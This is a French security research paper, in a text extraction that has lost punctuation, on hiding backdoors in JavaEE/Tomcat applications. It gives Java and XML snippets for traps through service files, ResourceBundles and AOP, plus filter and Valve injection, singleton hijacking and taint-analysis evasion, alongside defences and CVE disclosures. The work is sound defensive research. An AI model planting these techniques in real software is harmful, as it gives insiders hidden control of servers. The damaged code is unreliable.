porte dérobée dans les serveurs d'applications javaee

62
Porte d´ erob´ ee dans les serveurs d’applications JavaEE Philippe Prados macaron(@)philippe.prados.name Atos Origin esum´ e Soixante-dix pour cent des attaques viennent de l’int´ erieur de l’entreprise. L’affaire Kerviel en a fait une d´ emonstration flagrante. Les projets JavaEEs sont tr` es pr´ esents dans les entreprises. Ils sont g´ en´ eralement d´ evelopp´ es par des soci´ et´ es de services ou des prestataires. Cela repr´ esente beaucoup de monde pouvant potentiellement avoir un comportement ind´ elicat. Aucun audit n’est effectu´ e pour v´ erifier qu’un d´ eveloppeur malveillant ou qui subit des pressions n’a pas laiss´ e une porte d´ erob´ ee invisible dans le code. Nous allons nous placer `a la place d’un d´ eveloppeur Java pour ´ etudier les diff´ erentes techniques permettant d’ajouter une porte erob´ ee ` a une application JavaEE, sans que cela ne soit visible par les autres d´ eveloppeurs du projet. Nous avons d´ evelopp´ e une archive Java qui permet, par sa simple pr´ esence dans un projet, d’ouvrir toutes les portes du serveur ou d’une carte ` a puce. Nous ´ etudierons les risques et proposerons diff´ erentes solutions et outils pour interdire et d´ etecter ce type de code. Des ´ evolutions du JDK seront propos´ ees pour renforcer la s´ ecurit´ e. Introduction Dans l’entreprise, 30 `a 40% des effectifs n’en sont pas des employ´ es. Cela peut expliquer que la plupart des attaques informatiques viennent de l’int´ erieur. Un eveloppeur malveillant ou pouss´ e` a la faute par des pressions psychologiques externes - bien connues des mafias - peut introduire du code permettant d’ouvrir des portes sur le serveur d’applications. L’audit de code peut ´ eventuellement r´ ev´ eler un comportement comme celui-ci : if (contribuable.equals( "philippe" )) impot=( byte )impot; Ce n’est pas ´ evident `a identifier, car il faut une relecture humaine de tout le code. Avec un peu de chance, les autres d´ eveloppeurs du projet peuvent d´ ecouvrir la trappe, lors d’un d´ everminage par exemple. Comme tout code est bien plus souvent lu qu’´ ecrit, la probabilit´ e de d´ ecouvrir une trappe n’est pas nulle. Pour vous en convaincre, consultez cette pr´ esentation ´ evoquant un cas r´ eel : http://tinyurl.com/c269ne Quelles sont les techniques utilisables par un d´ eveloppeur Java pour cacher son code ? Pour ex´ ecuter un traitement ` a l’insu de l’application ? Pour s’injecter dans le

Upload: ngonga

Post on 05-Jan-2017

227 views

Category:

Documents


1 download

TRANSCRIPT

Porte derobee dans les serveurs drsquoapplications

JavaEE

Philippe Pradosmacaron()philippepradosname

Atos Origin

Resume Soixante-dix pour cent des attaques viennent de lrsquointerieur de lrsquoentreprise LrsquoaffaireKerviel en a fait une demonstration flagrante Les projets JavaEEs sont tres presents dans lesentreprises Ils sont generalement developpes par des societes de services ou des prestatairesCela represente beaucoup de monde pouvant potentiellement avoir un comportement indelicatAucun audit nrsquoest effectue pour verifier qursquoun developpeur malveillant ou qui subit des pressionsnrsquoa pas laisse une porte derobee invisible dans le code Nous allons nous placer a la placedrsquoun developpeur Java pour etudier les differentes techniques permettant drsquoajouter une portederobee a une application JavaEE sans que cela ne soit visible par les autres developpeurs duprojet Nous avons developpe une archive Java qui permet par sa simple presence dans unprojet drsquoouvrir toutes les portes du serveur ou drsquoune carte a puce Nous etudierons les risqueset proposerons differentes solutions et outils pour interdire et detecter ce type de code Desevolutions du JDK seront proposees pour renforcer la securite

Introduction

Dans lrsquoentreprise 30 a 40 des effectifs nrsquoen sont pas des employes Cela peutexpliquer que la plupart des attaques informatiques viennent de lrsquointerieur Undeveloppeur malveillant ou pousse a la faute par des pressions psychologiques externes- bien connues des mafias - peut introduire du code permettant drsquoouvrir des portes sur leserveur drsquoapplications Lrsquoaudit de code peut eventuellement reveler un comportementcomme celui-ci

if (contribuableequals(philippe))

impot=(byte)impot

Ce nrsquoest pas evident a identifier car il faut une relecture humaine de tout lecode Avec un peu de chance les autres developpeurs du projet peuvent decouvrir latrappe lors drsquoun deverminage par exemple Comme tout code est bien plus souventlu qursquoecrit la probabilite de decouvrir une trappe nrsquoest pas nulle

Pour vous en convaincre consultez cette presentation evoquant un cas reel httptinyurlcomc269ne

Quelles sont les techniques utilisables par un developpeur Java pour cacher soncode Pour executer un traitement a lrsquoinsu de lrsquoapplication Pour srsquoinjecter dans le

P Prados 387

flux de traitement et ainsi capturer toutes les requetes HTTP A toutes ces questionsnous allons proposer des reponses et des solutions

Cette etude nrsquoa pas vocation a etre exhaustive sur les techniques drsquoattaques Elleen presente certaines tres efficaces et souvent innovantes

Une librairie de demonstrations inedites est proposee permettant de qualifier laprotection des applications contre des portes derobees generiques

Cette etude a produit trois alertes de securite la realisation de deux patchs pourles JDKs et trois outils drsquoanalyse et de durcissement du code Nous terminerons parla presentation des solutions actives et passives pour contrer ce type de menaces

Deux videos de demonstrations sont proposees La premiere est une simpledemonstration de la puissance de la porte derobee la seconde explique ensuitecomment se proteger contre ce type de menaces Elles sont disponibles ainsi que lesoutils ici httpmacarongooglecodecom

Cette etude se limite a Tomcat 6x avec un JDK 16010 et OpenJDK 1600-b12sous Windows et Linux Les vulnerabilites sont certainement efficaces avec drsquoautresserveurs drsquoapplications mais cela nrsquoa pas ete verifie

Cote client la porte derobee proposee a ete testee sur ndash Google Chrome 1015443 Windowsndash Firefox 305 Windows et Linuxndash Internet Explorer 70573013 Windowsndash Opera 963 Windows et Linuxndash Safari 321 Windows

1 Lrsquoobjectif du pirate

Du point de vue du pirate une porte derobee doit ndash resister a un audit du code de lrsquoapplication Sinon chaque developpeur qui

participe au projet peut fortuitement la decouvrir ndash resister aux evolutions futures du code Il ne doit pas y avoir de dependance

directe avec le code existant Une evolution de lrsquoapplication ne doit pas faireechec a la porte derobee

ndash contourner le pare-feu reseau et le pare-feu applicatif (Web Application Firewall ndashWAF) La communication avec la porte derobee doit etre invisible ou difficilementdiscernable drsquoun flux legitime

ndash contourner les outils drsquoanalyse de vulnerabilite dans le byte-code par propaga-tion de teinture sur les variables

De ce cahier des charges nous avons recherche differentes techniques pour atteindretous les objectifs que nous nous sommes fixes

388 Porte derobee dans les serveurs drsquoapplications JavaEE

Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque

Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication

Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs

Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables

La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee

private static String sanitize(String s)

char[] buf=new char[slength ()]

Systemarraycopy(stoCharArray () 0 buf 0 slength ())

return new String(buf)

2 Implementation

Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique

ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents

21 Les pieges

La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR

1 httpsuifstanfordedu~livshitspaperspdfthesispdf

P Prados 389

Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants

Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser

ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations

22 Piege par laquo surcharge raquo

La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication

Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire

Fig 1 Enchaınement de classes

Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire

lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la

copie nrsquoen tient pas compte

390 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM

Cette approche est donc rejetee

23 Piege par laquo parametrage raquo

De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code

Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)

ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt

ndash Ressource ltparamwsddgt

La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet

Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer

Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API

Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite

Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes

1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-

Factory

2 httpjavasuncomj2se13docsguidejarjarhtml

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

